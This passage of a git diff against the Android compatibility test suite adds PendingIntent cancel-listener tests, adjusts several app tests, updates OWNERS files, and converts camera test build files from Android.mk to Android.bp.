 import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL;
-import static android.app.ActivityManager.PROCESS_CAPABILITY_FOREGROUND_LOCATION;
 import static android.app.ActivityManager.PROCESS_CAPABILITY_NONE;
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.MODE_FOREGROUND;
@@ -47,6 +46,7 @@
 import android.permission.cts.PermissionUtils;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
+import android.support.test.uiautomator.UiDevice;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -128,6 +128,9 @@
             sAppOps.resetHistoryParameters(); }
         );
         mUidWatcher = new WatchUidRunner(sInstrumentation, sUid, WAITFOR_MSEC);
+        // Press home key to ensure stopAppSwitches is called so the grace period of
+        // the background start will be ignored if there's any.
+        UiDevice.getInstance(sInstrumentation).pressHome();
     }
 
     @After
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 19581d7..10daf75 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -60,6 +60,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
+import android.support.test.uiautomator.UiDevice;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -127,6 +128,9 @@
         CtsAppTestUtils.turnScreenOn(mInstrumentation, mContext);
         cleanupResiduals();
         enableFgsRestriction(true, true, null);
+        // Press home key to ensure stopAppSwitches is called so the grace period of
+        // the background start will be ignored if there's any.
+        UiDevice.getInstance(mInstrumentation).pressHome();
     }
 
     @After
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index 852ad9a..b594492 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -60,7 +60,7 @@
 
         // Capture the originally reported width and heights
         final Point origSize = new Point();
-        origDisplay.getSize(origSize);
+        origDisplay.getRealSize(origSize);
 
         // Change orientation
         mActivity.configurationChangeObserver.startObserving();
@@ -75,12 +75,12 @@
         }
 
         final Point newOrigSize = new Point();
-        origDisplay.getSize(newOrigSize);
+        origDisplay.getRealSize(newOrigSize);
 
         // Get a {@link Display} instance after rotation.
         final Display updatedDisplay = mActivity.getDisplay();
         final Point updatedSize = new Point();
-        updatedDisplay.getSize(updatedSize);
+        updatedDisplay.getRealSize(updatedSize);
 
         // For square screens the following assertions do not make sense and will always fail.
         if (!closeToSquareBounds) {
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
old mode 100644
new mode 100755
index 544d1e0..e3c5c9a
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -4463,7 +4463,7 @@
 
         @Override
         public void handleMessage(Message message) {
-            mEvents.computeIfAbsent(message.what, e -> new CompletableFuture<>()).complete(
+            mEvents.computeIfAbsent(message.what, e -> new CompletableFuture<>()).obtrudeValue(
                     message.arg1);
         }
 
diff --git a/tests/app/src/android/app/cts/OWNERS b/tests/app/src/android/app/cts/OWNERS
new file mode 100644
index 0000000..941fc41
--- /dev/null
+++ b/tests/app/src/android/app/cts/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 803062
+per-file Nearby*=file:platform/frameworks/base:/packages/SystemUI/OWNERS
+# Bug component: 803062
+per-file UpdateMediaTapToTransfer*.kt=file:platform/frameworks/base:/packages/SystemUI/OWNERS
diff --git a/tests/app/src/android/app/cts/PendingIntentTest.java b/tests/app/src/android/app/cts/PendingIntentTest.java
index e3c5e8a..b3a5fdf 100644
--- a/tests/app/src/android/app/cts/PendingIntentTest.java
+++ b/tests/app/src/android/app/cts/PendingIntentTest.java
@@ -36,10 +36,16 @@
 import android.test.AndroidTestCase;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.TestUtils;
 
+import java.util.Collections;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
 
 public class PendingIntentTest extends AndroidTestCase {
 
@@ -758,4 +764,135 @@
             fail("Cannot resolve foreground service pending intent");
         }
     }
+
+    public void testCancelListener() throws Exception {
+        final Intent i = new Intent(Intent.ACTION_VIEW);
+        final PendingIntent pi1 = PendingIntent.getBroadcast(mContext, 0, i,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        final Set<String> called = Collections.synchronizedSet(new HashSet<>());
+
+        // To make sure the executor is used, we count the number of times the executor
+        // is invoked.
+        final AtomicInteger executorCount = new AtomicInteger();
+        final Executor e = (runnable) -> {
+            executorCount.incrementAndGet();
+            runnable.run();
+        };
+
+        // Add 4 listeners and remove the first one and the last one.
+        PendingIntent.CancelListener listener1 = (pi) -> {
+            called.add("listener1");
+            assertEquals(pi1, pi);
+        };
+        PendingIntent.CancelListener listener2 = (pi) -> {
+            called.add("listener2");
+            assertEquals(pi1, pi);
+        };
+        PendingIntent.CancelListener listener3 = (pi) -> {
+            called.add("listener3");
+            assertEquals(pi1, pi);
+        };
+        PendingIntent.CancelListener listener4 = (pi) -> {
+            called.add("listener4");
+            assertEquals(pi1, pi);
+        };
+        assertTrue(pi1.addCancelListener(e, listener1));
+        assertTrue(pi1.addCancelListener(e, listener2));
+        assertTrue(pi1.addCancelListener(e, listener3));
+        assertTrue(pi1.addCancelListener(e, listener4));
+
+        pi1.removeCancelListener(listener1);
+        pi1.removeCancelListener(listener4);
+
+        pi1.cancel();
+
+        TestUtils.waitUntil("listeners not called",
+                () -> called.contains("listener2") && called.contains("listener3"));
+        // Wait a bit more just in case, and make sure the last one isn't called.
+        Thread.sleep(200);
+        assertFalse(called.contains("listener1"));
+        assertFalse(called.contains("listener4"));
+        assertEquals(2, executorCount.get());
+
+        // It's already canceled, so more calls should return false.
+        assertFalse(pi1.addCancelListener(e, (pi) -> {
+            assertEquals(pi1, pi);
+        }));
+        // Should still return false.
+        assertFalse(pi1.addCancelListener(e, (pi) -> {
+            assertEquals(pi1, pi);
+        }));
+
+        // Clear the trackers.
+        called.clear();
+        executorCount.set(0);
+
+        // Try with a new PI using the same intent.
+        final PendingIntent pi2 = PendingIntent.getBroadcast(mContext, 0, i,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(pi2.addCancelListener(e, (pi) -> {
+            called.add("listener1");
+            assertEquals(pi2, pi);
+        }));
+        pi2.cancel();
+
+        TestUtils.waitUntil("listener1 not called",
+                () -> called.contains("listener1"));
+        assertEquals(1, executorCount.get());
+    }
+
+    public void testCancelListener_cancelCurrent() throws Exception {
+        final Intent i = new Intent(Intent.ACTION_VIEW);
+
+        // Create the first PI.
+        final PendingIntent pi1 = PendingIntent.getBroadcast(mContext, 0, i,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        final Set<String> called = Collections.synchronizedSet(new HashSet<>());
+
+        PendingIntent.CancelListener listener1 = (pi) -> {
+            called.add("listener1");
+            assertEquals(pi1, pi);
+        };
+        assertTrue(pi1.addCancelListener(Runnable::run, listener1));
+
+        // Update-current won't cancel the previous PI.
+        final PendingIntent pi2 = PendingIntent.getBroadcast(mContext, 0, i,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        PendingIntent.CancelListener listener2 = (pi) -> {
+            called.add("listener2");
+            assertEquals(pi2, pi);
+        };
+        assertTrue(pi2.addCancelListener(Runnable::run, listener2));
+
+        // So this shouldn't be called. (oops I don't want to use sleep(), but...)
+        Thread.sleep(200);
+        assertFalse(called.contains("listener1"));
+
+        // Cancel-current will cancel both pi1 and pi2
+        final PendingIntent pi3 = PendingIntent.getBroadcast(mContext, 0, i,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        TestUtils.waitUntil("listeners not called",
+                () -> called.contains("listener1") && called.contains("listener2"));
+    }
+
+    public void testCancelListener_oneShot() throws Exception {
+        final Intent i = new Intent(Intent.ACTION_VIEW);
+
+        // Create the first PI.
+        final PendingIntent pi1 = PendingIntent.getBroadcast(mContext, 0, i,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_ONE_SHOT
+                        | PendingIntent.FLAG_IMMUTABLE);
+        final Set<String> called = Collections.synchronizedSet(new HashSet<>());
+
+        PendingIntent.CancelListener listener1 = (pi) -> {
+            called.add("listener1");
+            assertEquals(pi1, pi);
+        };
+        assertTrue(pi1.addCancelListener(Runnable::run, listener1));
+
+        pi1.send();
+
+        TestUtils.waitUntil("listeners not called",
+                () -> called.contains("listener1"));
+    }
 }
diff --git a/tests/appintegrity/OWNERS b/tests/appintegrity/OWNERS
new file mode 100644
index 0000000..3c4ed4f
--- /dev/null
+++ b/tests/appintegrity/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 953234
+include platform/frameworks/base:/services/core/java/com/android/server/integrity/OWNERS
+
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index 8ecb5aa..bf828a0 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -35,6 +35,11 @@
         "general-tests",
     ],
     platform_apis: true,
+    data: [
+        ":CtsAppSearchTestHelperA",
+        ":CtsAppSearchTestHelperB",
+    ],
+    per_testcase_directory: true,
 }
 
 android_test_helper_app {
diff --git a/tests/appsearch/OWNERS b/tests/appsearch/OWNERS
index f2060d9..5251329 100644
--- a/tests/appsearch/OWNERS
+++ b/tests/appsearch/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 755061
-include platform/frameworks/base:/apex/appsearch/OWNERS
+include platform/packages/modules/AppSearch:/OWNERS
diff --git a/tests/attestationverification/OWNERS b/tests/attestationverification/OWNERS
new file mode 100644
index 0000000..32a0456
--- /dev/null
+++ b/tests/attestationverification/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 1111194
+
+include platform/frameworks/base:/core/java/android/security/attestationverification/OWNERS
diff --git a/tests/autofillservice/Android.bp b/tests/autofillservice/Android.bp
index f973d0e9..76c65d4 100644
--- a/tests/autofillservice/Android.bp
+++ b/tests/autofillservice/Android.bp
@@ -41,4 +41,9 @@
         "general-tests",
     ],
     sdk_version: "test_current",
+    data: [
+        ":TestAutofillServiceApp",
+        ":CtsMockInputMethod",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/autofillservice/OWNERS b/tests/autofillservice/OWNERS
index 7f4d695..5c14735 100644
--- a/tests/autofillservice/OWNERS
+++ b/tests/autofillservice/OWNERS
@@ -1,7 +1,3 @@
 # Bug component: 351486
-adamhe@google.com
-augale@google.com
-joannechung@google.com
-lpeter@google.com
-svetoslavganov@google.com
-tymtsai@google.com
+
+include platform/frameworks/base:/core/java/android/view/autofill/OWNERS
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index 207f885..9f15d79 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -45,4 +45,11 @@
         "mts-permission",
     ],
     sdk_version: "test_current",
+    data: [
+        ":CtsPermissionBackupApp",
+        ":CtsPermissionBackupApp22",
+        ":CtsFullBackupApp",
+        ":CtsKeyValueBackupApp",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/backup/app/Android.bp b/tests/backup/app/Android.bp
index da52a3e..b0ba975 100644
--- a/tests/backup/app/Android.bp
+++ b/tests/backup/app/Android.bp
@@ -33,7 +33,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
     manifest: "fullbackup/AndroidManifest.xml"
@@ -57,7 +57,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
     manifest: "keyvalue/AndroidManifest.xml"
@@ -81,7 +81,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
     manifest: "permission/AndroidManifest.xml"
@@ -103,7 +103,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
     manifest: "permission22/AndroidManifest.xml"
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
index 6cb0cee..7558776 100644
--- a/tests/camera/Android.bp
+++ b/tests/camera/Android.bp
@@ -48,3 +48,67 @@
         "android.test.base.stubs",
     ],
 }
+
+// CtsCameraTestCases package
+android_test {
+    name: "CtsCameraTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "android-ex-camera2",
+        "CtsCameraUtils",
+        "truth-prebuilt",
+        "androidx.heifwriter_heifwriter",
+        "androidx.test.rules",
+    ],
+    jni_libs: [
+        "libctscamera2_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    stl: "c++_shared",
+    srcs: [
+        "src/**/*.java",
+        ":CtsCameraTestCases-rscript{CtsCameraTestCases.srcjar}",
+    ],
+    resource_zips: [
+        ":CtsCameraTestCases-rscript{CtsCameraTestCases.res.zip}",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    per_testcase_directory: true,
+}
+
+genrule {
+    name: "CtsCameraTestCases-rscript",
+    srcs: [
+        "src/**/*.rscript",
+        ":rs_script_api",
+        ":rs_clang_headers",
+    ],
+    tools: [
+        "llvm-rs-cc",
+        "soong_zip",
+    ],
+    out: [
+        "CtsCameraTestCases.srcjar",
+        "CtsCameraTestCases.res.zip",
+    ],
+    cmd: "for f in $(locations src/**/*.rscript); do " +
+        "  $(location llvm-rs-cc) -o $(genDir)/res/raw -p $(genDir)/src " +
+        "  -I $$(dirname $$(echo $(locations :rs_script_api) | awk '{ print $$1 }')) " +
+        "  -I $$(dirname $$(echo $(locations :rs_clang_headers) | awk '{ print $$1 }')) $${f}; " +
+        "done && " +
+        "$(location soong_zip) -srcjar -o $(location CtsCameraTestCases.srcjar) -C $(genDir)/src -D $(genDir)/src &&" +
+        "$(location soong_zip) -o $(location CtsCameraTestCases.res.zip) -C $(genDir)/res -D $(genDir)/res",
+}
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
deleted file mode 100644
index f2bf9fc..0000000
--- a/tests/camera/Android.mk
+++ /dev/null
@@ -1,60 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-# CtsCameraTestCases package
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
-	ctstestrunner-axt \
-	mockito-target-minus-junit4 \
-	android-ex-camera2 \
-	CtsCameraUtils \
-	truth-prebuilt \
-	androidx.heifwriter_heifwriter \
-	androidx.test.rules
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-	libctscamera2_jni \
-	libnativehelper_compat_libc++ \
-
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-LOCAL_SRC_FILES := \
-	$(call all-java-files-under, src) \
-	$(call all-renderscript-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_PACKAGE_NAME := CtsCameraTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-cts_runtime_hint := 120
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/camera/OWNERS b/tests/camera/OWNERS
index d1d18b4..9270e30 100644
--- a/tests/camera/OWNERS
+++ b/tests/camera/OWNERS
@@ -1,2 +1,5 @@
 # Bug component: 41727
 include platform/frameworks/av:/camera/OWNERS
+
+per-file *ImageReader* = file:platform/frameworks/base:/graphics/java/android/graphics/OWNERS
+per-file *ImageWriter* = file:platform/frameworks/base:/graphics/java/android/graphics/OWNERS
\ No newline at end of file
diff --git a/tests/camera/api25test/Android.bp b/tests/camera/api25test/Android.bp
new file mode 100644
index 0000000..cf55b53
--- /dev/null
+++ b/tests/camera/api25test/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsCameraApi25TestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "android-ex-camera2",
+        "CtsCameraUtils",
+    ],
+    sdk_version: "25",
+    libs: ["android.test.runner.stubs"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/camera/api25test/Android.mk b/tests/camera/api25test/Android.mk
deleted file mode 100644
index eaa99aa..0000000
--- a/tests/camera/api25test/Android.mk
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
-    ctstestrunner-axt \
-    android-ex-camera2 \
-    CtsCameraUtils
-
-LOCAL_PACKAGE_NAME := CtsCameraApi25TestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_SDK_VERSION := 25
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
index feb5567..cf02ebe 100644
--- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
+++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
@@ -206,9 +206,9 @@
     }
 
     /**
-     * Check JPEG size overrides for devices claiming S Performance class requirement via
-     * Version.MEDIA_PERFORMANCE_CLASS
+     * Check camera S Performance class requirement for JPEG sizes.
      */
+    @CddTest(requirement="7.5/H-1-8")
     public void testSPerfClassJpegSizes() throws Exception {
         boolean isSPerfClass = CameraTestUtils.isSPerfClass();
         if (!isSPerfClass) {
diff --git a/tests/camera/libctscamera2jni/Android.bp b/tests/camera/libctscamera2jni/Android.bp
new file mode 100644
index 0000000..d894731
--- /dev/null
+++ b/tests/camera/libctscamera2jni/Android.bp
@@ -0,0 +1,73 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_library_shared {
+    name: "libctscamera2_jni",
+    srcs: [
+        "native-camera-jni.cpp",
+        "dng-validate-jni.cpp",
+        "dynamic-depth-validate-jni.cpp",
+    ],
+    // Flags needed by DNG SDK
+    cflags: [
+        "-DUNIX_ENV=1",
+        "-DqDNGBigEndian=0",
+        "-DqDNGThreadSafe=1",
+        "-DqDNGUseLibJPEG=1",
+        "-DqDNGUseXMP=0",
+        "-DqDNGValidate=1",
+        "-DqDNGValidateTarget=1",
+        "-DqAndroid=1",
+        "-fexceptions",
+        "-Wsign-compare",
+        "-Wno-reorder",
+        "-Wframe-larger-than=20000",
+        // Flags to avoid warnings from DNG SDK
+        "-Wno-unused-parameter",
+        "-Wno-unused-value",
+        "-Wno-unused-variable",
+        // Flags related to dynamic depth
+        "-Wno-ignored-qualifiers",
+        "-DSTATIC_LIBXML=1",
+    ],
+    header_libs: [
+        "jni_headers",
+        "liblog_headers",
+    ],
+    static_libs: [
+        "libdng_sdk_validate",
+        "libjpeg_static_ndk",
+        "libdynamic_depth_ndk",
+        "libimage_io_ndk",
+        "libbase_ndk",
+        "libxml2_ndk",
+    ],
+    // Dynamic depth libraries
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libcamera2ndk",
+        "libmediandk",
+        "libz",
+    ],
+    // NDK build, shared C++ runtime
+    sdk_version: "current",
+    stl: "c++_shared",
+}
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
deleted file mode 100644
index b7fb561..0000000
--- a/tests/camera/libctscamera2jni/Android.mk
+++ /dev/null
@@ -1,54 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libctscamera2_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-	native-camera-jni.cpp \
-	dng-validate-jni.cpp \
-	dynamic-depth-validate-jni.cpp
-
-# Flags needed by DNG SDK
-LOCAL_CFLAGS := -DUNIX_ENV=1 -DqDNGBigEndian=0 -DqDNGThreadSafe=1 -DqDNGUseLibJPEG=1 -DqDNGUseXMP=0 -DqDNGValidate=1 -DqDNGValidateTarget=1 -DqAndroid=1 -fexceptions -Wsign-compare -Wno-reorder -Wframe-larger-than=20000
-
-# Flags to avoid warnings from DNG SDK
-LOCAL_CFLAGS += -Wall -Werror -Wno-unused-parameter
-LOCAL_CFLAGS += -Wno-unused-value -Wno-unused-variable
-# Flags related to dynamic depth
-LOCAL_CFLAGS += -Wno-ignored-qualifiers -DSTATIC_LIBXML=1
-
-LOCAL_HEADER_LIBRARIES := jni_headers liblog_headers
-LOCAL_STATIC_LIBRARIES := libdng_sdk_validate libjpeg_static_ndk
-# Dynamic depth libraries
-LOCAL_STATIC_LIBRARIES += libdynamic_depth_ndk libimage_io_ndk libbase_ndk libxml2_ndk
-LOCAL_SHARED_LIBRARIES := libandroid \
-    libnativehelper_compat_libc++ \
-    liblog \
-    libcamera2ndk \
-    libmediandk \
-    libz \
-
-# NDK build, shared C++ runtime
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 0b9e8d1..9e48704 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -68,12 +68,7 @@
 import android.view.Surface;
 import android.view.WindowManager;
 
-import androidx.test.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -87,9 +82,6 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME;
-import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME;
-
 /**
  * Extended tests for static camera characteristics.
  */
@@ -2648,54 +2640,22 @@
     }
 
     /**
-     * If meetPerfClass is true, return perfClassLevel.
-     * Otherwise, return NOT_MET.
-     */
-    private int updatePerfClassLevel(boolean meetPerfClass, int perfClassLevel) {
-        if (!meetPerfClass) {
-            return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-        } else {
-            return perfClassLevel;
-        }
-    }
-
-    /**
-     * Update perf class level based on meetSPerfClass and meetRPerfClass.
-     */
-    private int updatePerfClassLevel(boolean meetSPerfClass, boolean meetRPerfClass,
-            int perfClassLevel) {
-        if (!meetRPerfClass) {
-            return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-        } else if (!meetSPerfClass &&
-                perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) {
-            return CameraTestUtils.PERFORMANCE_CLASS_R;
-        }
-        return perfClassLevel;
-    }
-
-    /**
      * Check camera characteristics for R and S Performance class requirements as specified
      * in CDD camera section 7.5
      */
     @Test
-    @CddTest(requirement="7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8")
+    @CddTest(requirement="7.5")
     public void testCameraPerfClassCharacteristics() throws Exception {
         if (mAdoptShellPerm) {
             // Skip test for system camera. Performance class is only applicable for public camera
             // ids.
             return;
         }
-        boolean assertRPerfClass = CameraTestUtils.isRPerfClass();
-        boolean assertSPerfClass = CameraTestUtils.isSPerfClass();
-        boolean assertPerfClass = (assertRPerfClass || assertSPerfClass);
-
-        int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-
-        DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
+        boolean isRPerfClass = CameraTestUtils.isRPerfClass();
+        boolean isSPerfClass = CameraTestUtils.isSPerfClass();
+        if (!isRPerfClass && !isSPerfClass) {
+            return;
+        }
 
         boolean hasPrimaryRear = false;
         boolean hasPrimaryFront = false;
@@ -2724,145 +2684,78 @@
 
             if (isPrimaryRear) {
                 hasPrimaryRear = true;
-                if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) {
-                    mCollector.expectTrue("Primary rear camera resolution should be at least " +
-                            MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
-                            sensorResolution, !assertPerfClass);
-                    perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                }
-                reportLog.addValue("rear camera resolution", sensorResolution,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
+                mCollector.expectTrue("Primary rear camera resolution should be at least " +
+                        MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
+                        sensorResolution,
+                        sensorResolution >= MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION);
 
                 // 4K @ 30fps
                 boolean supportUHD = videoSizes.contains(UHD);
                 boolean supportDC4K = videoSizes.contains(DC4K);
